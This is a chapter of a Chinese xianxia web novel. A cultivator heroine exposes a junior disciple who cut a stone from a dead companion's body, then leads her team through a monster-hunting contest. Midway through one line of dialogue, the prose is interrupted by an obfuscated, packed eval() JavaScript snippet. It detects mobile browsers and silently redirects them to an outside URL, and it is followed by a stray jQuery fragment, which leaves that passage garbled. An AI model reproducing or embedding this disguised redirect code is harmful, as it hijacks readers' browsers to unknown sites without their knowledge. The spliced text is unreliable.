黑暗中传来淅淅索索的布料摩挲声，而后声音停了一瞬。
他似乎察觉到结界已破碎。
“是、是谁？”
秦衣未言语，点燃一张火符，冷冷注视着从黑暗中走出的人。
黑紫的眼眸幽深，像是被什么蛊惑，方师弟的剑握在手中，剑尖上黑血滑落，来不及坠下就被魔气舔舐。他原本步履匆匆，看见似乎未受什么伤的秦衣，急躁的喘气声蓦地平息。
是李寒立最先救出的那位伤重弟子，姓方。
秦衣的目光落在血上：“你在做什么？”
光亮灼伤久不见光亮的眼睛，方师弟抬起袖子遮挡，也是这一下，秦衣才看清，还有血滴在他的脸上缓缓滑过。
从已干涸的血痕上。
适应光亮，方师弟放下手，露出虚弱的笑容：“师姐，我在找东西。我的药掉地上了。”
“只是找药？”秦衣紧盯着他的眼睛，似笑非笑，“我方才听见奇怪的声音，你没听到么？”
方师弟持剑的手紧了紧，笑容勉强：“师姐，你听错了吧，已经消灭魔物，哪里会有什么奇怪的声音。师姐，你能不能帮我找找药，我实在是太疼了。”
是啊，魔物已经明明已经消灭了。
秦衣在心里叹息一声，打量过面前人稳稳持剑的手，还有身上已然愈合的血洞，直截了当地拆穿他。
“传送阵之前，长老们发过一颗保命仙丹，李寒立见你那时伤重，自己的也给你了。如今都能受第二次伤了吧。”
符纸火焰摇晃，秦衣面无表情越过方师弟：“我记得，那位不幸罹难的弟子便是在此处。”
怕是不用走过去了，脚下传来啪嗒的水声，明亮的火焰照耀下，一滩平滑血水泛出光亮。
他第一次死于魔物之手，第二次死于同门。
秦衣扭头怒视：“这是你的同门！你们之前还在一同杀敌！”
方师弟目光躲闪，看看手中的剑，又看看秦衣：“师姐，我、我只是不想死！我灵力耗尽！后日便是仙门大选！若是落选，我……我可要掉到外门弟子了。”
“他不是……已经死了么？仙尊也说过，死去的弟子体中的灵源石可以归我们！”
还在狡辩！
百宝囊闪过白光，长长的缚仙索直冲他而来，方师弟此刻才想起害怕的滋味，转头要逃。
“师姐，灵源石我不要了。我就是一时鬼迷心窍。师姐！灵源石给你，别说出去，我不要被逐出宗门！我不要了！”
饶是百般求饶，缚仙索依旧捆上痛哭流涕的弟子，令他倒在地上动弹不得。
待魔气一散，被剖腹取珠的遗体露出来，他们会用什么样的眼神看他；但可是换另一个人在旁，真的能抵抗住这种诱惑么？
灵力的今非昔比，不独他一人感受到吧？他只是追求力量，做错了什么呢？
身后的哀嚎突然转变为谩骂，秦衣瞥他一眼，愕然发现翻涌的魔气此刻躁动得厉害，皆是往方师弟身上奔涌。
恐怕是身上欲念太重，又处在魔气之中，引发心魔。
秦衣眉头压得更低，身旁几团火焰哗啦一声拔高，底下显露出的视野宽广，偶尔照出几个路过人的衣摆。
却依旧未有灵源石的踪迹。
不应该。
响声的确是在这儿一块。秦衣知晓自己感受不到灵力，提前使用符咒，感知周围人的灵力以免撞上。
翻涌的魔气加速向身后流动，方师弟的谩骂又变成恶毒的诅咒。
不能再拖下去了，秦衣在黑暗中大喊一声：“李寒立！”
离得不远的李寒立果然未走：“秦衣！我在这儿！你在哪儿！”
秦衣循着声音，将身旁的几束火焰送去给李寒立点亮脚下的路。等待期间，她盯着浓稠的、死寂的血液。
灵源石并不会在里面。秦衣有股莫名的直觉。
就如花苞盛开最初的香味最浓，如今什么也不曾闻到。
她却久久不能移开眼。
血红倒映在眼中，秦衣想，她太弱小，无法阻止师尊，不如就将所有对灵源石迷恋的人全部杀死，杀到他们不敢再用，这样师尊的计谋也就不攻而破。
亦或，她为何要拯救这些人？
李寒立望见秦衣身旁血迹、状若癫狂的方师弟，一时拿不准到底发生何事，咋咋呼呼要问个清楚。却将秦衣从一时的梦魇中拉出。
魔气不等人，秦衣交代一句就向外冲：“他的灵源石丢了，他疯了。你找找。”
李寒立：“？”
就一块破石头也疯成这样。
外面的光亮太过耀眼，秦衣眨了眨酸涩的眼睛，不等完全适应，跑来跑去开始布阵。身周不乏用丹炉吸收魔气的弟子，只无奈于效率不高，仙门符修本就稀少，自不必讲擅长大型阵法。
双手翻飞，金光乍现，秦衣口中念念有词：“跪吾台前，灵阵放光！”
阵中无数根金色丝线腾空而起包裹魔气，在上方汇聚形成一个金丝笼，厚重的魔气冲撞空隙，屏障上金光闪烁，无可逃逸。
秦衣手掌下落，金丝笼噗地一声缩小，不过一盏茶的时候，要仰视的高度只有丁点大小了。
顾不上周围艳羡的、不怀好意的目光，她呼出口气，幸好方才未舍得用灭道，这样大型的阵法耗去不少气力。
失去魔气遮挡，开膛剖腹的尸体、被捆起来的弟子很快引来许多人注意。
魔气退去，方师弟恢复理智，见秦衣并不在场，眼睛一转。
“师兄师姐们救我，那扶风派的秦衣仗着师尊是仙尊，欺人太甚，夺我灵源石，还要污蔑我。如今无人为我作证，她要把我交给长老，若是我落到仙尊那里，真是无处伸冤了！”
李寒立一见尸体，便知晓事情原委如何，正要动手，看见有人走来，让出位置。
秦衣笑得冷酷，一脚踹在底下人腰上。
“好师弟！仙尊便是灵源石提出者，我还需要自己脏了手？而且，你是不是忘记我的战书？”
方师弟疼得倒吸凉气，被缚住手脚无法翻身，只好狗儿一般嗷嗷叫起来。
人群中不知传来谁的声音：“话虽如此，但死的人是我们仙门弟子，灵源石也应该归于仙门吧？”
“秦师姐如此不屑，不如将灵源石归还我们这些蠢人。”
“谁叫人家抢先了？不过此战功劳最大的就是她了。”
人影憧憧，秦衣未找出是谁说出口，她看了一眼李寒立，却见对方摇了摇头。
这么一块小小灵源石真能丢了不成，或许当时真有人隐匿气息藏在附近？
秦衣扫过眼前形形色色的面孔，无人关心那位可怜的仙门弟子，死了便是死了。
等她若是讲出那颗灵源石丢了……
秦衣抬眸回道：“我自会归还仙门。有弟子不幸死于魔物之手；方及为一己私欲，当中取灵源石罪大恶极。我已通知长老。诸位若是还有什么疑义，自去找长老们分辨。”
一番话无懈可击，围观众人悻悻散去。
秦衣面孔霎时凝重，喊上队友们：“康礼背上弟子尸体，寒……李寒立带上方师弟，我们去找龙齐天。从此刻开始，我们不要分开。”
“为何？”
李寒立：“你为何要说灵源石找到了？”
秦衣面色难看极了：“有些事情一旦开始，就不会停止。若是有人拿到那颗灵源石，再看到尸体，自然知晓灵源石的来源。他不会当众下手，但偷偷做些手脚总是可以。”
“灵源石在长老手中，他们心中还能敬畏一些。我还有些事要告诉龙齐天，我们快些走吧。”
--
看见龙齐天回到他们休息的老地方，秦衣暗暗松口气，幸好是人多的地方。
龙齐天指了指他们背后的战利品：“你们怎么灰头土脸的？这是……？”
“城东出事了。”
康礼简单叙述一遍，龙齐天抓了抓自己的脸：“早知如此我便不出去了，还能帮些什么。”
“你如今也能帮上。”秦衣吃下灵药，灵力下降的丹田毫无变化，再抬头时面色如常，“魔物强大，几位灵力较低的外门弟子死在战场上不过意外。这样的事情不光彩，他们不敢闹得太大，也许会找落单的外门弟子下手。”
“最好告知外门弟子不要单独行动，命总是更重要一些，此时才第二轮。”
龙齐天灵机一动：“不如师姐们带着我们外门弟子一起行动
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071350|178577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
？”
秦衣认真思考一下，摇摇头：“我身上还有所谓的灵源石，目标太大。而且把暗处那些人逼迫太过不知会做出什么，不过的确要喊他们一起，不要离得太近，能够随时支援即可。”
龙齐天朝秦衣深深一拜，转头离开。
李寒立斜眼看秦衣，话语酸溜溜：“某些人魅力可真大啊。这可就收服一个了。”
康礼小声辩解道：“那是因为秦师姐把我们外门弟子当人看……”
长老到来带走弟子遗体，还有中了封口咒的方及。秦衣特意交代，能否用水光镜找出灵源石到底在谁手上。
长老摇摇头：“魔气太浓了，什么也看不到。”
“那搜身呢？”
长老搪塞道：“子衿还是先完成第二轮，担心自身再担心其余吧。”
秦衣早有准备：“长老，赛中使用灵源石，可以称得上作弊吧，仙门大会总不会如此不公？”
--
下半场比想象中还要再艰难些。
剩余的魔物散落城中各个角落，然而弟子们似乎料定秦衣灵力损耗颇多，李寒立独臂难支，纷纷来抢他们的魔物。
秦衣与李寒立处无法突破，便冲龙齐天与康礼而去。一次两次二人硬着头皮抗下，不愿师姐们相助。
然而秦衣瞧见二人身上皮外伤血淋淋，另一边李寒立也被人缠上，还有队伍中的剑修近身想来封她符咒。
与剑修对战秦衣最有经验，几招将他逼得连连后退，队友却迟迟无法脱身。
鹤蚌相争，渔翁得利。哪怕她与李寒立顶着压力拿下魔物，消耗也比之前要多。
秦衣：“走！我们不要了！”
李寒立抽空大喊：“秦衣你疯了！”
秦衣只重复道：“不要了！走！”
李寒立咬牙：“行！我倒要看看你打得什么算盘！”
他们集体撤离，几个队伍依旧不愿放过，派出一半人紧咬不放。
四人汇聚，秦衣在他们耳边言语几句，一马当先地逃跑，李寒立则带着二人留下尽数拉扯住。
“秦衣那个疯子要跑，我可不是吃亏的人，来尝尝姑奶奶的厉害！”
双拳难敌四手，何况此处能打的只剩李寒立一个，很快便落下风来。
三人边打边退，李寒立边走边骂：“有本事就放干我最后一滴血！”
“穷寇莫追。小心他们有诈！”其中一人说道。
“真不追了么？”
“不追了。该回去拿下魔物了！”
“那可别后悔！不追也别想再回去！”
回答的声音莫名有些熟悉，几人做好迎击状态，空中只有水波一样的波纹，剧烈颤动。
几人聚精会神等待回击。几息之后，却没了动静。
几人面面相觑，露出劫后余生的笑容，也未有多厉害嘛。
直到走向哪条路皆折回原点，才发觉早已中了阵法！
等秦衣返回，憋着怒气的三人风卷残云，将队伍另一半打得落花流水，赢回魔物。
秦衣捏得指节嘎嘣响：“玩阴的谁不会，把他们关到结束是我的仁慈。”
龙齐天与康礼彻底拜服：“师姐仁慈！”
李寒立摇摇手指：“一般一般。”
一招金蝉脱壳，唬得骚扰他们的人少了许多，秦衣几人最后还能抢下别队的魔物。
待回到流光渡，秦衣有意排在最后，充足的魔气让令牌发出耀眼的金色光芒。
不出所料的话，她和李寒立占据第一第二，外门弟子们则是十名左右。
白玉桥上四人分离，李寒立无话可讲，龙齐天与康礼冲她挥手：“今日多谢师姐！”
李寒立脚步一顿，头也不回地离开。
秦衣嘿嘿笑：“你们可让李师姐害羞了。”
外门弟子组合挠挠头：“李师姐除了脾气差，好像也未有那么坏。”
龙齐天：“也多谢秦师姐。只要第三轮我们多赢几场，很大可能被长老们看上！”
“相信你们！好好休息备战！”
话叙到此处，秦衣打了个哈欠，转身要走。
一直低着头的康礼抬起头：“师姐，灵源石不是什么好东西么？”